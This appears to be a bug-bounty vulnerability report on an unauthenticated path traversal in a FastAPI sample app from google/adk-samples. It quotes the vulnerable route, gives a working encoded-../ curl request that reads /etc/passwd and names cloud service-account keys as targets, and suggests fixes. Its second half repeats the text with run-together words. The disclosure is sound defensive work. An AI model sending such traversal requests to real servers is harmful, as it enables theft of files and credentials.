Vulnerability Description
The genmedia-for-commerce sample application serves its frontend through a catch-all FastAPI
route, serve_spa. The route takes the request path (full_path) straight from the URL and joins
it to the web-root folder with frontend_dir / full_path, then returns that file with
FileResponse. There is no sanitization and no containment check — the code never rejects ..
sequences or absolute paths, and never verifies (e.g. with Path.resolve() + is_relative_to())
that the resolved file actually stays inside frontend_dir.
Because pathlib and the operating system resolve .. at access time, a request whose path
contains enough ../ sequences (raw, or %2e%2e%2f URL-encoded) escapes the web root and reads any
file on the server that the application process can access. The server binds to 0.0.0.0 with no
authentication, so this is a remote, pre-auth arbitrary file read.
This is the same class of bug as the previously-rewarded adk-js FileArtifactService finding:
attacker-controlled path segments flow into a filesystem call with no post-resolution root check.
Vulnerability Type
Path Traversal (CWE-22) leading to unauthenticated arbitrary file read.
Affected Project
https://github.com/google/adk-samples
Affected Files & Lines (exact excerpts from current main branch)
python/agents/genmedia-for-commerce/genmedia4commerce/fast_api_app.py
Web root definition (line 155):
frontend_dir = PROJECT_ROOT / "frontend" / "dist"
Vulnerable route (lines 201–213):
@app.get("/{full_path:path}")
async def serve_spa(full_path: str):
# If the path matches an actual file in dist/, serve it
file_path = frontend_dir / full_path # <-- user input joined with NO containment check
if full_path and file_path.is_file():
return FileResponse(str(file_path)) # <-- arbitrary file returned
if "." in full_path.split("/")[-1]:
return JSONResponse({"detail": "Not Found"}, status_code=404)
return FileResponse(index_html)
Server bind, no authentication (line 274):
uvicorn.run(app, host="0.0.0.0", port=8000)
- No sanitization, validation, or allow-list on
full_path.
- No
resolve() + is_relative_to(frontend_dir) (or prefix) check before serving.
Parameter Extraction
full_path is the Starlette {full_path:path} route parameter — it captures the entire request
path after /, including slashes, and is passed unsanitized into frontend_dir / full_path.
The server (uvicorn) URL-decodes %2e%2e%2f to ../ but does not collapse it, so a fully encoded
payload delivered by any ordinary browser reaches the sink.
Steps to Reproduce
This reproduction has two parts:
- Steps 1-2 verify the vulnerable code inside Google's real repository (
google/adk-samples).
- Step 3 runs the attached self-contained PoC (
demo.sh / attack.sh / poc_server.py),
which reproduces the vulnerable route verbatim and mirrors the real deployment layout
(<root>/frontend/dist). The attached PoC is a standalone harness (not part of the repo) because
the real fast_api_app.py cannot be booted directly — its imports require GCP credentials, the
ADK, and ~11 internal routers. The attached files are provided alongside this report.
Step 1 — Clone the repository (to view the real source)
git clone https://github.com/google/adk-samples
cd adk-samples
Step 2 — Show the vulnerable code (verify it exists at the stated lines)
Run this inside the cloned adk-samples repo from Step 1:
F=python/agents/genmedia-for-commerce/genmedia4commerce/fast_api_app.py
# Prove this is the real Google repo + exact commit
git remote -v | head -1
git rev-parse HEAD
# Web root definition (line 155)
nl -ba "$F" | sed -n '155p'
# VULNERABLE catch-all route (lines 201-213)
nl -ba "$F" | sed -n '201,213p'
# Server bind, no authentication (line 274)
nl -ba "$F" | sed -n '274p'
Expected output:
origin https://github.com/google/adk-samples.git (fetch)
441dde62de209e6f16b9856451f433656567359c
155 frontend_dir = PROJECT_ROOT / "frontend" / "dist"
201 @app.get("/{full_path:path}")
202 async def serve_spa(full_path: str):
203 # If the path matches an actual file in dist/, serve it
204 file_path = frontend_dir / full_path
205 if full_path and file_path.is_file():
206 return FileResponse(str(file_path))
207 # Only serve index.html for SPA routes (paths without file extensions)
208 # Asset requests (.json, .js, .css, etc.) that don't exist should 404
209 if "." in full_path.split("/")[-1]:
210 from fastapi.responses import JSONResponse
211
212 return JSONResponse({"detail": "Not Found"}, status_code=404)
213 return FileResponse(index_html)
274 uvicorn.run(app, host="0.0.0.0", port=8000)
Line 204 joins attacker input to the web root with no check; line 206 serves the resulting file;
line 274 exposes the server on all interfaces with no authentication.
Step 3 — Run the attached one-command PoC
Run this from the attached PoC folder (the directory containing demo.sh, provided with this
report — this is separate from the cloned repo):
cd genmedia-traversal # the attached PoC folder
bash demo.sh
demo.sh automatically: (1) creates a venv and installs fastapi + uvicorn, (2) starts the
vulnerable server on http://127.0.0.1:8000, (3) runs attack.sh to send the traversal requests
and prints the results. No second terminal is required.
Step 4 — (Equivalent) single request against a live deployment
curl -s "http://TARGET:8000/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
(.. at the filesystem root / is idempotent, so an attacker just sends "enough" ../ segments to
reach root regardless of the web root's depth.)
Observed Behavior
- A legitimate in-root request (
GET /index.html) returns the SPA — HTTP 200.
- The percent-encoded traversal request returns the real contents of
/etc/passwd from the
server host — HTTP 200:
GET /index.html -> HTTP 200 (legitimate in-root asset)
GET /%2e%2e%2f...x16.../etc/passwd -> HTTP 200 (arbitrary file OUTSIDE web root)
##
# User Database
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
[...]
/etc/passwd is used only as a universal proof-of-read target (it contains no passwords). On a real
deployment the same request reads the sensitive files instead — application source, the sample's
config.env, and the mounted Google Cloud service-account credentials — by substituting their
paths.
Attack Scenario — who can exploit this?
Anyone with network access to the deployed service — no authentication, no account, no user
interaction. The genmedia-for-commerce sample ships a Dockerfile and binds 0.0.0.0, so when
deployed as documented it is reachable over the network. A single crafted HTTP GET (works from a
browser, curl, or Burp) reads arbitrary server-side files. The highest-impact target is the
service-account key file, which lets the attacker authenticate to the victim's Google Cloud project
and pivot far beyond the initial file read.
Impact
An unauthenticated remote attacker can read any file the server process can access: application
source, environment/config files, and mounted Google Cloud service-account credentials. Disclosure
of the service-account key enables lateral movement and privilege escalation into the associated
cloud project, so the practical impact greatly exceeds the initial arbitrary-read primitive.
Confidentiality impact is High; no integrity or availability impact from this specific primitive.
Remediation
- Canonicalize and enforce containment before serving:
candidate = (frontend_dir / full_path).resolve(strict=False) then if not candidate.is_relative_to(frontend_dir.resolve()): return 404.
- Reject any
full_path that is absolute or contains .. segments after URL-decoding, before touching the filesystem.
- Prefer a vetted static-file mechanism (e.g. Starlette
StaticFiles, which normalizes and confines paths) over a hand-rolled FileResponse catch-all.
- Do not bind sample servers to
0.0.0.0 by default; require an authentication layer for any non-loopback exposure.
References
CWE: CWE-22
demo.sh
Vulnerability Description
The
genmedia-for-commercesample application serves its frontend through a catch-all FastAPIroute,
serve_spa. The route takes the request path (full_path) straight from the URL and joinsit to the web-root folder with
frontend_dir / full_path, then returns that file withFileResponse. There is no sanitization and no containment check — the code never rejects..sequences or absolute paths, and never verifies (e.g. with
Path.resolve()+is_relative_to())that the resolved file actually stays inside
frontend_dir.Because
pathliband the operating system resolve..at access time, a request whose pathcontains enough
../sequences (raw, or%2e%2e%2fURL-encoded) escapes the web root and reads anyfile on the server that the application process can access. The server binds to
0.0.0.0with noauthentication, so this is a remote, pre-auth arbitrary file read.
This is the same class of bug as the previously-rewarded
adk-jsFileArtifactServicefinding:attacker-controlled path segments flow into a filesystem call with no post-resolution root check.
Vulnerability Type
Path Traversal (CWE-22) leading to unauthenticated arbitrary file read.
Affected Project
https://github.com/google/adk-samples
Affected Files & Lines (exact excerpts from current main branch)
python/agents/genmedia-for-commerce/genmedia4commerce/fast_api_app.pyWeb root definition (line 155):
Vulnerable route (lines 201–213):
Server bind, no authentication (line 274):
full_path.resolve()+is_relative_to(frontend_dir)(or prefix) check before serving.Parameter Extraction
full_pathis the Starlette{full_path:path}route parameter — it captures the entire requestpath after
/, including slashes, and is passed unsanitized intofrontend_dir / full_path.The server (uvicorn) URL-decodes
%2e%2e%2fto../but does not collapse it, so a fully encodedpayload delivered by any ordinary browser reaches the sink.
Steps to Reproduce
This reproduction has two parts:
google/adk-samples).demo.sh/attack.sh/poc_server.py),which reproduces the vulnerable route verbatim and mirrors the real deployment layout
(
<root>/frontend/dist). The attached PoC is a standalone harness (not part of the repo) becausethe real
fast_api_app.pycannot be booted directly — its imports require GCP credentials, theADK, and ~11 internal routers. The attached files are provided alongside this report.
Step 1 — Clone the repository (to view the real source)
git clone https://github.com/google/adk-samples cd adk-samplesStep 2 — Show the vulnerable code (verify it exists at the stated lines)
Run this inside the cloned
adk-samplesrepo from Step 1:Expected output:
Line 204 joins attacker input to the web root with no check; line 206 serves the resulting file;
line 274 exposes the server on all interfaces with no authentication.
Step 3 — Run the attached one-command PoC
Run this from the attached PoC folder (the directory containing
demo.sh, provided with thisreport — this is separate from the cloned repo):
demo.shautomatically: (1) creates a venv and installsfastapi+uvicorn, (2) starts thevulnerable server on
http://127.0.0.1:8000, (3) runsattack.shto send the traversal requestsand prints the results. No second terminal is required.
Step 4 — (Equivalent) single request against a live deployment
curl -s "http://TARGET:8000/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"(
..at the filesystem root/is idempotent, so an attacker just sends "enough"../segments toreach root regardless of the web root's depth.)
Observed Behavior
GET /index.html) returns the SPA —HTTP 200./etc/passwdfrom theserver host —
HTTP 200:/etc/passwdis used only as a universal proof-of-read target (it contains no passwords). On a realdeployment the same request reads the sensitive files instead — application source, the sample's
config.env, and the mounted Google Cloud service-account credentials — by substituting theirpaths.
Attack Scenario — who can exploit this?
Anyone with network access to the deployed service — no authentication, no account, no user
interaction. The
genmedia-for-commercesample ships aDockerfileand binds0.0.0.0, so whendeployed as documented it is reachable over the network. A single crafted HTTP GET (works from a
browser, curl, or Burp) reads arbitrary server-side files. The highest-impact target is the
service-account key file, which lets the attacker authenticate to the victim's Google Cloud project
and pivot far beyond the initial file read.
Impact
An unauthenticated remote attacker can read any file the server process can access: application
source, environment/config files, and mounted Google Cloud service-account credentials. Disclosure
of the service-account key enables lateral movement and privilege escalation into the associated
cloud project, so the practical impact greatly exceeds the initial arbitrary-read primitive.
Confidentiality impact is High; no integrity or availability impact from this specific primitive.
Remediation
candidate = (frontend_dir / full_path).resolve(strict=False)thenif not candidate.is_relative_to(frontend_dir.resolve()): return 404.full_paththat is absolute or contains..segments after URL-decoding, before touching the filesystem.StaticFiles, which normalizes and confines paths) over a hand-rolledFileResponsecatch-all.0.0.0.0by default; require an authentication layer for any non-loopback exposure.References
CWE: CWE-22
demo.sh